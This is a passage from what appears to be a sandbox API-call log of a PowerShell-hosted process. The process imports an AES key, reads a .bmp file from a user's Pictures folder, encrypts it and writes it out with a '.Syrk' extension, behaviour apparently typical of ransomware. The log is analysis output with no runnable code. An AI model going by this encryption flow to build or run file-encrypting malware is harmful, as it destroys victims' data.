SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0253.225] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.225] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0253.225] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0253.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0253.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0253.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0253.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0253.225] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.226] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0253.226] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0253.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0253.226] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.226] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0253.226] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0253.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0253.226] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.226] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0253.226] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0253.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0253.227] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.227] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0253.227] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0253.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0253.227] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.227] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0253.227] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0253.227] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0253.227] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.227] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0253.227] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0253.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0253.228] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.228] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0253.228] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0253.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0253.228] SystemFunction041 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.228] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0253.228] SystemFunction040 (in: Memory=0x3af56c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af56c) returned 0x0 [0253.228] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0253.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0253.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0253.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0253.229] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.229] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0253.229] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0253.229] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0253.229] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.229] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0253.229] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0253.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0253.230] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.230] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0253.230] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0253.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0253.230] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.230] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0253.230] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.230] EtwEventActivityIdControl () returned 0x0 [0253.230] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0253.230] SystemFunction041 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.231] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0253.231] SystemFunction040 (in: Memory=0x5c931e4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c931e4) returned 0x0 [0253.232] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0253.234] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x25429e0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99620) returned 1 [0253.234] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0253.234] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.235] EtwEventActivityIdControl () returned 0x0 [0253.235] EtwEventActivityIdControl () returned 0x0 [0253.235] EtwEventActivityIdControl () returned 0x0 [0253.241] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp")) returned 0x20 [0253.242] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp")) returned 0x20 [0253.242] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0253.242] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", lpFilePart=0x0) returned 0x2e [0253.243] EtwEventActivityIdControl () returned 0x0 [0253.243] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.243] EtwEventActivityIdControl () returned 0x0 [0253.243] EtwEventActivityIdControl () returned 0x0 [0253.243] EtwEventActivityIdControl () returned 0x0 [0253.244] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0253.244] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", lpFilePart=0x0) returned 0x2e [0253.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0253.245] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0253.245] GetFileType (hFile=0x364) returned 0x1 [0253.245] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0253.245] GetFileType (hFile=0x364) returned 0x1 [0253.245] EtwEventActivityIdControl () returned 0x0 [0253.245] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.246] EtwEventActivityIdControl () returned 0x0 [0253.246] EtwEventActivityIdControl () returned 0x0 [0253.246] EtwEventActivityIdControl () returned 0x0 [0253.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0253.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk", nBufferLength=0x34, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk", lpFilePart=0x0) returned 0x33 [0253.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0253.247] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0253.248] GetFileType (hFile=0x368) returned 0x1 [0253.248] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0253.248] GetFileType (hFile=0x368) returned 0x1 [0253.248] EtwEventActivityIdControl () returned 0x0 [0253.248] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x2552e40 | out: pbBuffer=0x2552e40) returned 1 [0253.249] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0253.250] CryptDuplicateKey (in: hKey=0x5c99620, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c994e0) returned 1 [0253.250] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0253.250] CryptSetKeyParam (hKey=0x5c994e0, dwParam=0x4, pbData=0x2554178*=0x1, dwFlags=0x0) returned 1 [0253.250] CryptSetKeyParam (hKey=0x5c994e0, dwParam=0x1, pbData=0x2554144, dwFlags=0x0) returned 1 [0253.250] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.250] EtwEventActivityIdControl () returned 0x0 [0253.250] EtwEventActivityIdControl () returned 0x0 [0253.250] EtwEventActivityIdControl () returned 0x0 [0253.251] EtwEventActivityIdControl () returned 0x0 [0253.252] ReadFile (in: hFile=0x364, lpBuffer=0x2556db4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2556db4*, lpNumberOfBytesRead=0x5a2e7d8*=0x30fc, lpOverlapped=0x0) returned 1 [0253.308] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x237347c*, pdwDataLen=0x5a2e7cc*=0x30f0, dwBufLen=0x30f0 | out: pbData=0x237347c*, pdwDataLen=0x5a2e7cc*=0x30f0) returned 1 [0253.309] WriteFile (in: hFile=0x368, lpBuffer=0x235e00c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x235e00c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0253.312] WriteFile (in: hFile=0x368, lpBuffer=0x2374468*, nNumberOfBytesToWrite=0x2104, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2374468*, lpNumberOfBytesWritten=0x5a2e7b0*=0x2104, lpOverlapped=0x0) returned 1 [0253.313] ReadFile (in: hFile=0x364, lpBuffer=0x235f470, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x235f470*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0253.314] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2376584*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2376584*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0253.314] CryptEncrypt (in: hKey=0x5c994e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x23765a0*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x23765a0*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0253.315] WriteFile (in: hFile=0x368, lpBuffer=0x235e00c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x235e00c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0253.315] CloseHandle (hObject=0x368) returned 1 [0253.317] CloseHandle (hObject=0x364) returned 1 [0253.332] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0253.333] EtwEventActivityIdControl () returned 0x0 [0253.333] EtwEventActivityIdControl () returned 0x0 [0253.333] EtwEventActivityIdControl () returned 0x0 [0253.340] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp")) returned 0x20 [0253.343] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0253.343] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", lpFilePart=0x0) returned 0x2e [0253.343] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0253.344] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0253.344] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0253.344] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0253.344] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0253.344] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0253.344] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0253.344] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0253.344] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0253.345] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0253.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0253.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0253.345] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0253.345] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0253.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0253.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0253.345] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp")) returned 0x20 [0253.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0253.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", lpFilePart=0x0) returned 0x2e [0253.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0253.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", lpFilePart=0x0) returned 0x2e [0253.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0253.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2f [0253.349] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", nBufferLength=0x2f, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp", lpFilePart=0x0) returned 0x2e [0253.350] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0253.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0253.350] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0253.350] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0253.350] CoTaskMemFree (pv=0x3b0008) [0253.352] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\NEEjRL4DiRYJSV.bmp" (normalized: "c:\\users\\keecfmwgj\\pictures\\neejrl4diryjsv.bmp")) 